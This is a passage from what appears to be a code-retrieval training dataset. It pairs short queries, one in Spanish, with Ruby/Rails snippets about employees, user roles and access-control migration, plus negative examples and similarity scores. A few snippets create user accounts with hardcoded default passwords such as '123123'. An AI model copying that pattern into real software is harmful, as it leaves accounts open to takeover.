"0.63323087",
"0.63115716",
"0.6158076",
"0.6103626",
"0.5995021",
"0.5987482",
"0.5873196",
"0.58308876",
"0.58051515",
"0.5761376",
"0.57514656",
"0.5695848",
"0.5689716",
"0.5677122",
"0.5670629",
"0.56586474",
"0.5652256",
"0.56519073",
"0.5625365",
"0.56181085",
"0.56111",
"0.5575382",
"0.55488735",
"0.55461335",
"0.5480052",
"0.54563016",
"0.5454225",
"0.5432423",
"0.54213",
"0.5414251",
"0.54002446",
"0.53825516",
"0.5370605",
"0.5370416",
"0.53696877",
"0.53625584",
"0.5352504",
"0.53489614",
"0.53479016",
"0.53399736",
"0.53212726",
"0.53184354",
"0.5316901",
"0.5310058",
"0.5307221",
"0.5307221",
"0.52954566",
"0.5292183",
"0.52873844",
"0.5283897",
"0.52828544",
"0.5281932",
"0.52795935",
"0.5271667",
"0.52707523",
"0.5266591",
"0.5258327",
"0.52581656",
"0.5254038",
"0.52515423",
"0.5243601",
"0.5232014",
"0.5231261",
"0.52241284",
"0.5216235",
"0.52080023",
"0.5199653",
"0.5196971",
"0.5190882",
"0.517801",
"0.5171468",
"0.5166827",
"0.5164245",
"0.51627034",
"0.5151446",
"0.51397336",
"0.5128124",
"0.5120785",
"0.5120211",
"0.5112872",
"0.51033354",
"0.5098049",
"0.5090493",
"0.5089805",
"0.5088773",
"0.5083173",
"0.5079684",
"0.5078063",
"0.50758296",
"0.50753",
"0.5074757",
"0.5074755",
"0.5073778",
"0.5069664",
"0.50695246",
"0.5069282",
"0.5059776",
"0.5058895",
"0.5056983",
"0.50550157"
] |
0.6475799
|
0
|
obtener la empresa del empleado autentificado.
|
def current_emp
user=self.current_user
dpto=Department.find(user.department_id)
@current_emp=Enterprise.find(dpto.enterprise_id) if dpto
end
|
{
"objective": {
"self": [],
"paired": [],
"triplet": [
[
"query",
"document",
"negatives"
]
]
}
}
|
[
"def set_empresa\n @empresa = Empresa.first\n end",
"def usuario_actual\n \t#se guarda al usuario actual que esta loggeado por cuestion de eficiencia\n \t#para no accesar a la base de datos todo el tiempo\n \t@usuario_actual ||= Alumno.find(session[:alumno_id]) if session[:alumno_id]\n end",
"def iniciarSesion (email,nombre,apellido,id)\n session[:email] = email\n session[:nombre] = nombre\n session[:apellido] = apellido\n session[:id] = id\n @persona = Persona.find(id)\n if !(@persona.empleados_id.nil?)\n session[:rol] = @persona.empleados_id\n else\n session[:rol] = nil\n end\n end",
"def set_empresa\n @empresa = Empresa.find(params[:id])\n end",
"def set_empresa\n @empresa = Empresa.find(params[:id])\n end",
"def set_empresa\n @empresa = Empresa.find(params[:id])\n end",
"def set_empresa\n @empresa = Empresa.find(params[:id])\n end",
"def set_empresa\n @empresa = Empresa.find(params[:id])\n end",
"def set_usuario\n @usuario = Usuario.find_by_email(current_usuario.email)\n end",
"def show\n @empresa = Empresa.find_by(params[:user_id])\n # @empresa = Empresa.find_by_user_id(current_user.id) #buscar en la tabla empresa el user_id que sea igual al id del actual usuarios\n\n end",
"def set_empresa\n @empresa = Empresa.find(params[:empresa_id])\n end",
"def creador\n\t\tusuario\n\tend",
"def set_empresa\n @empresas = Empresa.find(params[:id])\n end",
"def getUsuario\n\t\treturn @usuario\n\tend",
"def set_employee_user\n @employee_user = if current_manager\n EmployeeUser.find_by!(id: params[:id], organization_id: current_manager.organization_id)\n else\n EmployeeUser.find(params[:id])\n end\n end",
"def current_user\n\t\t@current_user ||= Employee.find_by(id: session[:id])\n\tend",
"def current_employee\n @current_employee ||= Employee.find_by(email: session[:email]) if session[:email]\n end",
"def acid\n return AcidUser.find self._id\n end",
"def set_empresa\n \n @empresa = Empresa.find(params[:id])\n \n end",
"def cria_user\n return if user.present?\n User.create(email: self.end_email, password: '123123', password_confirmation: '123123',\n tb_empregado_id: self.id, e_admin: self.e_admin || false).encrypted_password\n end",
"def set_empleados_empresa\n @empleados_empresa = EmpleadosEmpresa.find(params[:id])\n end",
"def set_emprego\n @emprego = Emprego.find(params[:id])\n end",
"def remitente\n user = User.find(self.envia_id) if self.envia_id\n remitente ||= user.persona.nombre_completo if user && user.persona.nombre_completo\n return remitente\n end",
"def rol\n if !current_login.nil?\n @user = User.find_by(User_Email: current_login[:email])\n @organization = Organization.find_by(Organization_Email: current_login[:email])\n end\n end",
"def employee_id\n\n self.user_official_info.employee_id\n\n end",
"def set_empleado\n @empleado = Empleado.find(params[:id])\n end",
"def set_empleado\n @empleado = Empleado.find(params[:id])\n end",
"def set_empleado\n @empleado = Empleado.find(params[:id])\n end",
"def set_empleado\n @empleado = Empleado.find(params[:id])\n end",
"def set_empleado_cliente\n @empleado_cliente = EmpleadoCliente.find(params[:id])\n end",
"def set_empregador\n @empregador = Empregador.find(params[:id])\n end",
"def autor(nombre, opciones = {})\n autor = nombre\n autores << autor\n end",
"def autor(nombre, opciones = {})\n autor = nombre\n autores << autor\n end",
"def set_empresario\n @empresario = Empresario.find(params[:id])\n end",
"def user\n return Etc.getlogin\n end",
"def current_user\n Employee.find(session[:employee_id])\n \n end",
"def set_usuario\n \n end",
"def set_empleado\n @empleado = Empleado.find(params[:id])\n end",
"def current_user\n @current_user || Employee.find(session[:employee_id]) if session[:employee_id]\n end",
"def current_employee\n @current_employee ||= (login_from_session || login_from_basic_auth || login_from_cookie) unless @current_employee == false\n end",
"def show\n @usuario = Usuario.find_by_email(current_usuario.email)\n end",
"def correct_emp\n @emp=Enterprise.find(params[:id])\n unless current_emp.id==@emp.id || current_user.role>3\n flash[:danger] = 'ERROR. Acceso no autorizado al recurso solicitado.'\n redirect_to(root_path)\n end\n end",
"def set_comentario_autenticado\n @comentario_autenticado = ComentarioAutenticado.find(params[:id])\n end",
"def set_empregado\n @empregado = Empregado.find(params[:id])\n end",
"def registrar_usuario\n employee_user = User.new\n employee_user.email = self.email\n employee_user.password = employee_user.generar_password\n employee_user.username = asignar_username_con_opciones\n if asignar_username_con_opciones.present?\n employee_user.username = asignar_username_con_opciones\n else\n employee_user.username = self.usuario.downcase\n end\n employee_user.client_type = 'empleado'\n employee_user.save\n update(user_id: employee_user.id, user_created_id: employee_user.id) \n #luego de registrar al usuario se almacena la contraseña en la tabla Historypassword\n #donde se almacenaran las 3 ultimas usadas\n password_employee = HistoryPassword.new\n password_employee.password = employee_user.password\n password_employee.user_id = employee_user.id\n password_employee.save\n end",
"def set_trocaentreusuario\n @trocaentreusuario = Trocaentreusuario.find(params[:id])\n end",
"def set_empresa\n redirect_to(root_path) && return if params[:empresa_id].blank?\n @empresa = Empresa.find params[:empresa_id]\n end",
"def set_empresa\n redirect_to(root_path) && return if params[:empresa_id].blank?\n @empresa = Empresa.find params[:empresa_id]\n end",
"def set_employee\n if params[:id].nil? # if there is no user id in params, show current one\n @employee = current_user\n else\n @employee = User.find(params[:id])\n end\n end",
"def checkCurrentUserEmployee(empleado)\n \t\tif current_user.empleado_id == empleado.id\n \t\t\treturn true\n \t\tend\n \tend",
"def set_cadastro_usuario\n @cadastro_usuario = CadastroUsuario.find(params[:id])\n end",
"def set_employee\n @user = User.find(params[:id])\n end",
"def set_emprestimo\n @emprestimo = Emprestimo.find(params[:id])\n end",
"def set_emprestimo\n @emprestimo = Emprestimo.find(params[:id])\n end",
"def set_autor\n @autor = Autor.find(params[:id])\n end",
"def comprobar_usuario_login\n @usuario_actual=nil\n return unless session[:user_id]\n @usuario_actual = Usuario.find_by_id(session[:user_id])\n end",
"def current_employee\n @current_employee ||= Employee.find_by(id: session[:user_id])\n end",
"def set_usuario\n @user = Usuario.select('id,nombre,apellido,usuario,twitter').find(params[:id])\n end",
"def current_user\n User.first || User.create(username: 'mario', surname: 'rossi',email:\"example@tld.it\")\n end",
"def set_autorizacion\n @autorizacion = Autorizacion.find(params[:id])\n end",
"def set_usuarios_email\n @usuarios_email = UsuariosEmail.find(params[:id])\n end",
"def usuario_actual\n\t\tif (id_usuario = session[:id_usuario])\n\t\t\t@usuario_actual ||= Usuario.find_by(id: id_usuario)\n\t\telsif (id_usuario = cookies.signed[:id_usuario])\n\t\t\t#raise # Error provocado para la prueba de test/helpers/sesiones_helper_test.rb\n\t\t\tusuario = Usuario.find_by(id: id_usuario)\n\t\t\tif usuario && usuario.autentificado?(:recuerda, cookies[:token_recuerda])\n\t\t\t\tdar_acceso_a usuario\n\t\t\t\t@usuario_actual = usuario\n\t\t\tend\n\t\tend\n\tend",
"def get_user()\n user = User.first(:id => self.user_id)\n if !user\n user = User.new\n user.login = \"anon\"\n end\n return user\n end",
"def set_usuario\n @usuario = Usuario.where(id: params[:id]).first\n end",
"def get_anon_user\n Anon.new\n end",
"def current_employee\n if (employee_id = session[:employee_id])\n @current_employee ||= Employee.find_by(id: employee_id)\n elsif (employee_id = cookies.signed[:employee_id])\n employee = Employee.find_by(id: employee_id)\n if employee && employee.authenticated?(cookies[:remember_token])\n log_in employee\n @current_employee = employee\n end\n end\n end",
"def set_employee\n @employee = User.find(params[:id])\n end",
"def set_employee\n @employee = User.find(params[:id])\n end",
"def owner_name\n return 'N/A' if anonymous? || user.nil?\n return user.name if user.name?\n user.email\n end",
"def show\n @empresa = Empresa.find(1)\n end",
"def show\n @empresa = Empresa.find(1)\n end",
"def acces_nome\r\n @nome\r\n end",
"def get_principal\n @principal = Principal.active.first\n end",
"def get_employees\n @employees = User.find_user_not_admin_not_client(get_company_id)\n end",
"def apellido\n self.usuario_sput.apellido\n end",
"def email\n @current_user ||= User.find(session[:user_id]) if session[:user_id]\n end",
"def set_employee\n @employee = current_user.employees.find(params[:id])\n end",
"def me_user_email\n email = Email.find_primary(me).take if auth?\n email.email || ''\n end",
"def current_user\n @current_user ||= User.find_by(idCadastro: session[:idCadastro])\n end",
"def user\n session[AutoAdmin::AutoAdminConfiguration.admin_model_id] ? AutoAdmin::AutoAdminConfiguration.admin_model.find(session[AutoAdmin::AutoAdminConfiguration.admin_model_id]) : nil\n end",
"def set_employee\n @employee = current_user.employees.find(params[:id])\n end",
"def set_tarefa_usuario_instancia\n @tarefa_usuario_instancia = TarefaUsuarioInstancia.find(params[:id])\n end",
"def set_exames_paciente\n @exames_paciente = ExamesPaciente.find(params[:id])\n end",
"def set_biblioteca_autor\n @biblioteca_autor = Biblioteca::Autor.find(params[:id])\n end",
"def set_employee\n @employee = User.find(params[:id])\n end",
"def set_empire_customer\n @empire_customer = EmpireCustomer.find(params[:id])\n end",
"def _user\n @_user ||= Squeeze::User.kept.find_by(email: token[:email])\n end",
"def create\n @empresa = Empresa.new(empresa_params)\n user_id = params[:user_id].to_i\n if user_id > 0 #Given n0 is admin and \"\" could be interpreted as 0, we avoid the risk\n @empresa.user_id = user_id\n end\n respond_to do |format|\n if @empresa.save\n helpers.set_current_empresa(@empresa.user, @empresa.id)\n format.html { redirect_to @empresa, notice: 'Empresa creada con éxito.' }\n format.json { render :show, status: :created, location: @empresa }\n else\n format.html { render :new }\n format.json { render json: @empresa.errors, status: :unprocessable_entity }\n end\n end\n end",
"def set_employee_acct\n #@employee_acct = current_account.meta\n end",
"def obtener_identificador_moodle(email)\n params = { 'field' => 'email', 'values[0]' => email }\n usuario = api('core_user_get_users_by_field ', params)\n\n if !usuario.empty?\n id_usuario_moodle = usuario[0]['id'] end\n\n id_usuario_moodle\n end",
"def employee_username\n general_info_table_element[0][1].text\n end",
"def set_contrato_empleado\n @empleado = Empleado.find(params[:empleado_id])\n @contrato_empleado = @empleado.contrato_empleados.find(params[:id])\n end",
"def login_from_session\n self.current_employee = Employee.find_by_id(session[:employee_id]) if session[:employee_id]\n end",
"def create_employee_user\n email = self.work_email\n user = User.new(email: self.work_email, password: 'appsimpact@#123', role: 'employee')\n user.save\n self.user_id = user.id\n end",
"def author_login=(name)\r\n self.user = User.find_by_login(name)\r\n end",
"def employee\n @last_ext += 1\n p = Person.new\n p.office_phonenumber = Phonenumber.new(@phonenumber.prefix, phonenumber.number, @last_ext.to_s)\n p.office_email = Email.new(p)\n p.office_email.user_from_names(p, \".\")\n p.office_email.host = @domain\n p\n end",
"def set_usuario\r\n @usuario = User.find(params[:id])\r\n end",
"def user\n @user ||= User.find_by(email: email)\n end",
"def owner\n get_user owner_id\n end",
"def set_usuario\n @usuario = User.find(params[:id])\n end"
] |
[
"0.635461",
"0.6142139",
"0.6101184",
"0.60557014",
"0.60557014",
"0.60557014",
"0.60557014",
"0.60557014",
"0.5972444",
"0.59518254",
"0.5931809",
"0.5894312",
"0.58338535",
"0.58247507",
"0.57495284",
"0.57460386",
"0.5741295",
"0.57398254",
"0.570893",
"0.56976646",
"0.5688207",
"0.5682032",
"0.5675803",
"0.5658871",
"0.5658156",
"0.55994743",
"0.55994743",
"0.55994743",
"0.55994743",
"0.55858195",
"0.5581489",
"0.557315",
"0.557315",
"0.5566808",
"0.5563082",
"0.55613005",
"0.55611104",
"0.5527417",
"0.5509194",
"0.5492777",
"0.54631525",
"0.54630035",
"0.5440009",
"0.5431766",
"0.54071784",
"0.53910446",
"0.5386797",
"0.5386797",
"0.5385397",
"0.5378163",
"0.5377084",
"0.53651375",
"0.53528166",
"0.53528166",
"0.534185",
"0.5341273",
"0.53388846",
"0.5331197",
"0.5329205",
"0.5325688",
"0.53199846",
"0.5306048",
"0.5305966",
"0.53016907",
"0.5285008",
"0.52837527",
"0.5282999",
"0.5282999",
"0.5281036",
"0.528034",
"0.528034",
"0.5276919",
"0.52749866",
"0.5255143",
"0.5254806",
"0.5254111",
"0.5250152",
"0.5240913",
"0.52375257",
"0.5236562",
"0.522269",
"0.5222563",
"0.521904",
"0.5206903",
"0.52019244",
"0.519669",
"0.51962495",
"0.51887953",
"0.5184834",
"0.5182592",
"0.5179355",
"0.5172059",
"0.51705563",
"0.51705354",
"0.517016",
"0.515515",
"0.5153834",
"0.5150617",
"0.5149412",
"0.51443475"
] |
0.5374184
|
51
|
return current Role name
|
def current_role
case current_user.role
when 1
@current_role='Empleado'
when 2
@current_role='Jefe Departamento'
when 3
@current_role='Auditor'
when 4
@current_role='Administrador'
end
end
|
{
"objective": {
"self": [],
"paired": [],
"triplet": [
[
"query",
"document",
"negatives"
]
]
}
}
|
[
"def role_name\r\n Role.find(object.role_id).role_name\r\n end",
"def role_name\n @role_name ||= object.meta[:role].try(:capitalize)\n end",
"def role_name\n object.role_name\n end",
"def role\r\n r = read_attribute(:role)\r\n r.capitalize unless r.nil?\r\n end",
"def current_role\n if user_signed_in?\n @current_role ||= current_user.roles.pluck(:name)\n end\n end",
"def name_with_role\n \"#{self.name} (#{self.organization.name} - #{self.role.name})\"\n end",
"def oo_default_role_name\n name.words.snakecase\n end",
"def current_user_role\n current_user.try(:role).try(:to_sym) || :normal\n end",
"def resource_name\n\t\t\"role\"\n\tend",
"def role\n @role\n end",
"def current_role\n \treturn @current_role if defined? @current_role\n \t@current_role = current_user && current_user.role_symbol\n end",
"def get_role_name(key)\n key = Access::Validate.role(key)\n get_hash_value(Access::Core.roles_hash, key, :name)\n end",
"def role_str\n case name\n when ROLE_ADMIN then I18n.t(\"model.role.admin\") \n when ROLE_COMPANY then I18n.t(\"model.role.company\")\n when ROLE_ENGINEER then I18n.t(\"model.role.engineer\")\n when ROLE_NORMAL then I18n.t(\"model.role.normal\")\n end\n end",
"def role\n return @role\n end",
"def get_full_role\n if role == \"admin\"\n return \"Administrator\"\n elsif role == \"lead\"\n return \"Organization Lead\"\n end\n end",
"def get_user_name(role)\n get_user(role).full_name\n end",
"def role_name\n @values.fetch('ai.device.roleName') { \n @values['ai.device.roleName'] = nil\n }\n end",
"def get_role_name(role_type, role)\n method_symbol = ROLES[role_type]\n\n return nil if method_symbol.nil?\n\n role_object = role.send(method_symbol)\n\n return nil if role_object.name.empty?\n\n role_object.name\n end",
"def get_role\n return case self.role_id\n when 2\n \"User\"\n else\n \"N/A\"\n end\n end",
"def display_role\n ROLE_LIST[self.role]\n end",
"def role(role_name)\n context.send(role_name)\n end",
"def get_full_role\n\t\tif role == \"lead\"\n\t\t\treturn \"Project Lead\"\n\t\telsif role == \"editor\"\n\t\t\treturn \"editor\"\n\t\tend\n\tend",
"def get_role\n\t\tself.role\n\tend",
"def role_selection\n \"#{name}\"\n end",
"def role(user)\n if user.admin\n return \"Admin\"\n else return \"User\"\n end\n end",
"def name\n \"#{role_name} #{user&.email}\"\n end",
"def current_role\n session.has_key?(:role) ? session[:role] : nil\n end",
"def user_role\n USER_ROLE[role]\n end",
"def human_name\n I18n.t(@name, :scope => [:role], :default => @name.to_s.humanize)\n end",
"def user_role\n current_user.role if current_user\n end",
"def role_str\n if (role == nil)\n role_result = \"participant\"\n else\n role_result = role\n end\n role_result\n end",
"def get_role(role_name)\n self.class.get_role(role_name)\n end",
"def role\n return self.position.name\n end",
"def downcase_role\n self.role.downcase\n end",
"def role_label\n if user.is_admin?\n colored_label('Admin', :success)\n elsif user.has_role?(:manager)\n colored_label('Manager', :info)\n elsif user.has_role?(:content_manager) || user.has_role?(:event_manager) || user.has_role?(:forum_manager)\n colored_label('Submanager', :warning)\n elsif user.has_role?(:reviewer)\n colored_label('Reviewer', :default)\n elsif user.has_role?(:beta)\n colored_label('Beta', :danger)\n else\n 'User'\n end\n end",
"def role\n @role ||=\n if is_admin?\n :admin\n else\n :customer\n end\n end",
"def role\n if self.admin || (Setting.no_security == \"true\")\n return :admin\n elsif self.reviewer\n return :reviewer\n else\n return :default\n end\n end",
"def role(req)\n \"admin:#{dealership(req).id}\"\n end",
"def current_user_role_names\n container.current_user_role_names\n end",
"def arn\n cloud_desc.role_arn\n end",
"def role_arn\n data.role_arn\n end",
"def role; end",
"def role; end",
"def role\n admin ? \"admin\" : \"user\"\n end",
"def active_role\n Role.find(self.active_role_id)\n end",
"def role\n @pool.role\n end",
"def role_arn\n data[:role_arn]\n end",
"def get_role\n\t\tif self.roles[0]\t\n\t\t\tself.roles[0].role_type \n\t\telse\n\t\t\t0\n\t\tend\n\tend",
"def nice_role(role_id)\n if role_id != GlobalConstants::TOURNAMENT_ROLES[:tab_room]\n return GlobalConstants::TOURNAMENT_ROLES_STR[role_id].to_s.upcase;\n else\n return GlobalConstants::TOURNAMENT_ROLES_STR[role_id].to_s.titleize;\n end\n return nil;\n end",
"def current_user_role_names\n @current_user_role_names ||= Manage::Group.role_names_for current_user\n end",
"def role_names\n roles.map { |role| role.name.capitalize }\n end",
"def role_for(name)\n role_name = name.to_s.gsub(/(?:^|_)([a-z])/) { $1.upcase }\n self.class.const_get(role_name)\n rescue NameError\n Module.new\n end",
"def roleid\n [ account, kind, identifier ].join(':')\n end",
"def get_role_or_nil\n if user_type == \"UserControl\"\n \"UserControl\"\n elsif user_signed_in?\n current_user.role.name\n else\n nil\n end\n end",
"def curAuth\n current_user.role_ids[0]\n end",
"def rails_role_user\n current_user\n end",
"def title_for(role)\n role_titles[role]\n end",
"def society_role_str\n raw_str = GlobalConstants::SOCIETY_ROLES_STR[self.status];\n return raw_str.capitalize();\n end",
"def edit\n @role = current_user.role.name\n super\n end",
"def role?\n role.name.to_sym\n end",
"def get_role user\n project_role_user = ProjectRoleUser.where(:project_id => self, :user_id => user).first\n if project_role_user\n project_role_user.role.name\n else\n nil\n end\n end",
"def getRole (user)\n case user.role\n when 0\n return 'user'\n when 1\n return 'operator'\n when 2\n return 'cto_user'\n when 3\n return 'owner'\n when 4\n return 'anonymous'\n else\n raise ('invalid user' + user.role)\n end\n end",
"def i18n_scope\n return event_name if user_role.blank? || !event_has_roles?\n\n \"#{event_name}.#{user_role}\"\n end",
"def role_type\n return User.role_type_from_string(self.role)\n end",
"def role?(role_name)\n role == role_name\n \n end",
"def to_s\n \"#{label || role} in #{organization_id}\"\n end",
"def inspect\n \"<RoleWriter role=#{@role} token=...>\"\n end",
"def name(role_name = nil)\n if role_name\n @name = \"#{role_name}.#{index}\"\n end\n @name || \"##{index}\"\n end",
"def find_role(name)\n self.roles.find {|a| a.name == name}\n end",
"def role\n @path = \"/services/Admin\"\n @role ||= Nephophobia::Resource::Role.new self\n end",
"def account_type\n self.role.name\n end",
"def account_type\n self.role.name\n end",
"def server_name_for_role role\n role = role.to_sym\n if servers_by_role[role]\n existing_numbers = servers_by_role[role].collect { |s| s.tags['Name'].split(\"-\").last.to_i }\n next_number = ((1..existing_numbers.count+1).to_a - existing_numbers).first\n else\n next_number = 1\n end\n server_name = \"#{role}-#{next_number}\"\n end",
"def role?(role)\n self.role.to_s == role.to_s\n end",
"def role\n return :admin unless organization\n if has_role?(:admin, organization)\n return :admin\n elsif organization.owner_id == self.id\n return :owner\n else\n return :member\n end\n end",
"def role_name=(value)\n if value == @defaults['ai.device.roleName']\n @values.delete 'ai.device.roleName' if @values.key? 'ai.device.roleName'\n else\n @values['ai.device.roleName'] = value\n end\n end",
"def role?(r)\n self.role == r.to_s\n end",
"def role?(role)\n self.role == role.to_s\n end",
"def role?(role)\n self.role == role.to_s\n end",
"def target_role\n return unless target = applications.first\n target.split(\"-\").last.gsub(/\\d+$/, \"\")\n end",
"def get_role_arn(name)\n sib_role = @deploy.findLitterMate(name: name, type: \"roles\")\n return sib_role.cloudobj.arn if sib_role\n\n begin\n role = MU::Cloud::AWS.iam(credentials: @config['credentials']).get_role({\n role_name: name.to_s\n })\n return role['role']['arn']\n rescue Exception => e\n MU.log \"#{e}\", MU::ERR\n end\n nil\n end",
"def role_definition\n return @role_definition\n end",
"def role_definition\n return @role_definition\n end",
"def checkrole\n if roles_mask == 4\n 'User'\n elsif roles_mask == 6\n 'Administrator'\n end\n end",
"def role\n @manifest_options[:role] || \"\"\n end",
"def role? role_name\n self.roles.exists? name: role_name.to_s\n end",
"def role?(role)\n\t self.role.name == role\n end",
"def name\n [roleinjobposition.name, (jobpositionlevel.nil? ? nil : jobpositionlevel.name) ].compact.join(' ')\n end",
"def has_role?(role)\n current_user.role.name.gsub(/ /, '').underscore.to_sym.eql?(role) if current_user\n end",
"def role_id\n data.role_id\n end",
"def current_roles_description(person_display_name, current_roles_text, person_pronoun, seat_incumbency_text)\n t('current_roles_description', name: person_display_name, roles: current_roles_text, pronoun: person_pronoun, incumbency: seat_incumbency_text)\n end",
"def guild_role\n\t\t@guild_role\n\tend",
"def role_object\n (APP_CONFIG[\"user_roles\"]+SYSTEM_DATA[\"user_roles\"]).select{|role| role[\"name\"] == self.role}.first\n end",
"def get_role_arn(name)\n @@client.get_role({\n role_name: name\n }).role.arn\n rescue Aws::IAM::Errors::NoSuchEntity\n nil\n end",
"def show_current_user\n return \"\" unless logged_in?\n \"User: #{current_user.display_name} - (#{current_user.role.display_name})\"\n end",
"def role?(role_to_compare)\n self.role.to_s == role_to_compare.to_s\n end",
"def role?(role)\n self.role == role.to_s ? true : false\n end",
"def role\n permission_type\n end",
"def designer_role\n self.roles.detect { |r| r.name == 'Designer'}\n end",
"def role?(role)\n self.role&.name == role\n end"
] |
[
"0.8402955",
"0.8367127",
"0.82425946",
"0.800383",
"0.78114134",
"0.77763313",
"0.75726336",
"0.75634325",
"0.7552031",
"0.7523308",
"0.7490301",
"0.7489514",
"0.74656725",
"0.7458993",
"0.7445728",
"0.74190587",
"0.7373033",
"0.73613995",
"0.73411566",
"0.73333424",
"0.72908765",
"0.72735274",
"0.7236698",
"0.72235817",
"0.7195308",
"0.7178558",
"0.71655196",
"0.7131593",
"0.71239364",
"0.7094591",
"0.7049227",
"0.69769275",
"0.697688",
"0.69614154",
"0.6957572",
"0.6957543",
"0.69266474",
"0.69130206",
"0.69055355",
"0.68652725",
"0.68414235",
"0.6830781",
"0.6830781",
"0.68175554",
"0.6783113",
"0.6771417",
"0.67670596",
"0.6764993",
"0.6762655",
"0.6760316",
"0.6753352",
"0.67502236",
"0.6726358",
"0.67167133",
"0.66749346",
"0.6666847",
"0.6649984",
"0.6638911",
"0.66293544",
"0.66148216",
"0.6607145",
"0.66070175",
"0.656024",
"0.65528524",
"0.6540873",
"0.65404975",
"0.6525664",
"0.6515904",
"0.65141374",
"0.64989346",
"0.6464649",
"0.6464649",
"0.6459508",
"0.64549905",
"0.645389",
"0.64520895",
"0.6431494",
"0.64248323",
"0.64248323",
"0.64171576",
"0.641328",
"0.6409103",
"0.6409103",
"0.6395847",
"0.63937956",
"0.6387178",
"0.63544595",
"0.63527626",
"0.6352381",
"0.63449526",
"0.632343",
"0.6318093",
"0.6306443",
"0.6301234",
"0.62927884",
"0.62863743",
"0.6279542",
"0.62765276",
"0.6258463",
"0.62513995"
] |
0.754882
|
9
|
Find the legacy access controls From the Sufia.Frakenversion (Sufia6F) codebase. Create equivalent_permissions for the GenericWork or FileSet. Destroy the legacy access controls.
|
def migrate_permissions_for(object)
# Find any access controls for this work. The must be sufia6F style in order to not show up on the Work.
legacy_access_controls = access_controls_for object
puts "#{legacy_access_controls.count} AccessControls for #{object.class}: #{object.id}"
puts "#{object.permissions}"
# Create equivalent access controls
self.class.make_equivalent_permissions( object, legacy_access_controls )
puts "Created equivalent permissions."
puts "#{object.permissions}"
# Destroy legacy_access_controls
if object.save
puts "Able to save #{object.class} with new permissions. Destroying old access controls."
legacy_access_controls.each{ |ac| ac.destroy }
else
puts "Unable to save #{object.class}."
end
end
|
{
"objective": {
"self": [],
"paired": [],
"triplet": [
[
"query",
"document",
"negatives"
]
]
}
}
|
[
"def setable_permissions\n setable_permissions = Erp::AccessControl.permissions - Erp::AccessControl.public_permissions\n setable_permissions -= Erp::AccessControl.members_only_permissions if builtin == BUILTIN_NON_MEMBER\n setable_permissions -= Erp::AccessControl.loggedin_only_permissions if builtin == BUILTIN_ANONYMOUS\n setable_permissions\n end",
"def restore_permissions; end",
"def restore_permissions; end",
"def update_access_controls!\n update!(edit_users: permission_template.agent_ids_for(access: 'manage', agent_type: 'user'),\n edit_groups: permission_template.agent_ids_for(access: 'manage', agent_type: 'group'))\n end",
"def fix_dataset_root_permissions(dataset_root, datasets)\n dataset_root.find.map { |path|\n if datasets.include?(path)\n fix_facl path, dataset_acl_template(path)\n elsif path.directory?\n fix_facl(path, directory_acl_template)\n else\n fix_facl path, file_acl_template\n end\n }.select { |report| report.updated || report.error }\n end",
"def delete_extinct_permissions\n db_perms = ::Permission.find(:all).dup\n db_perms.each do |dbp|\n unless @permissions.include?(Lockdown.get_symbol(dbp.name))\n Lockdown.logger.info \">> Lockdown: Permission no longer in init.rb: #{dbp.name}, deleting.\"\n ug_table = Lockdown.user_groups_hbtm_reference.to_s\n if \"permissions\" < ug_table\n join_table = \"permissions_#{ug_table}\"\n else\n join_table = \"#{ug_table}_permissions\"\n end\n Lockdown.database_execute(\"delete from #{join_table} where permission_id = #{dbp.id}\")\n dbp.destroy\n end\n end\n end",
"def af_perform(work)\n attribute_map = work.permissions.map(&:to_hash)\n work.file_sets.each do |file|\n # copy and removed access to the new access with the delete flag\n file.permissions.map(&:to_hash).each do |perm|\n unless attribute_map.include?(perm)\n perm[:_destroy] = true\n attribute_map << perm\n end\n end\n # apply the new and deleted attributes\n file.permissions_attributes = attribute_map\n file.save!\n end\n end",
"def make_equivalent_permissions(object, access_controls)\n access_controls.each{ |access_ctl| object.permissions.build access_ctl.to_hash }\n end",
"def set_permissions(file, perms)\n # Check local filesystem to see if it supports ACL's. If not, bail early\n # because the GetFileSecurity function will not fail on an unsupported FS.\n unless supports_acls?(file)\n raise ArgumentError, \"Filesystem does not implement ACL support\"\n end\n\n wide_file = string_check(file).wincode\n raise TypeError unless perms.kind_of?(Hash)\n\n sec_desc = FFI::MemoryPointer.new(:pointer, SECURITY_DESCRIPTOR_MIN_LENGTH)\n\n unless InitializeSecurityDescriptor(sec_desc, 1)\n raise SystemCallError.new(\"InitializeSecurityDescriptor\", FFI.errno)\n end\n\n acl_new = FFI::MemoryPointer.new(ACL, 100)\n\n unless InitializeAcl(acl_new, acl_new.size, ACL_REVISION2)\n raise SystemCallError.new(\"InitializeAcl\", FFI.errno)\n end\n\n perms.each{ |account, mask|\n next if mask.nil?\n\n # reset account_rights for each entry in perms:\n account_rights = 0\n\n server, account = account.split(\"\\\\\")\n\n if ['BUILTIN', 'NT AUTHORITY'].include?(server.upcase)\n wide_server = nil\n elsif account.nil?\n wide_server = nil\n account = server\n else\n wide_server = server.wincode\n end\n\n wide_account = account.wincode\n\n sid = FFI::MemoryPointer.new(:uchar, 1024)\n sid_size = FFI::MemoryPointer.new(:ulong)\n sid_size.write_ulong(sid.size)\n\n domain = FFI::MemoryPointer.new(:uchar, 260)\n domain_size = FFI::MemoryPointer.new(:ulong)\n domain_size.write_ulong(domain.size)\n\n use_ptr = FFI::MemoryPointer.new(:ulong)\n\n val = LookupAccountNameW(\n wide_server,\n wide_account,\n sid,\n sid_size,\n domain,\n domain_size,\n use_ptr\n )\n\n raise SystemCallError.new(\"LookupAccountName\", FFI.errno) unless val\n\n all_ace = ACCESS_ALLOWED_ACE2.new\n\n val = CopySid(\n ALLOW_ACE_LENGTH - ACCESS_ALLOWED_ACE.size,\n all_ace.to_ptr+8,\n sid\n )\n\n raise SystemCallError.new(\"CopySid\", FFI.errno) unless val\n\n if (GENERIC_ALL & mask).nonzero?\n account_rights = GENERIC_ALL & mask\n elsif (GENERIC_RIGHTS_CHK & mask).nonzero?\n account_rights = GENERIC_RIGHTS_MASK & mask\n else\n # Do nothing, leave it set to zero.\n end\n\n all_ace[:Header][:AceFlags] = INHERIT_ONLY_ACE | OBJECT_INHERIT_ACE\n\n 2.times{\n if account_rights != 0\n all_ace[:Header][:AceSize] = 8 + GetLengthSid(sid)\n all_ace[:Mask] = account_rights\n\n val = AddAce(\n acl_new,\n ACL_REVISION2,\n MAXDWORD,\n all_ace,\n all_ace[:Header][:AceSize]\n )\n\n raise SystemCallError.new(\"AddAce\", FFI.errno) unless val\n\n all_ace[:Header][:AceFlags] = CONTAINER_INHERIT_ACE\n else\n all_ace[:Header][:AceFlags] = 0\n end\n\n account_rights = REST_RIGHTS_MASK & 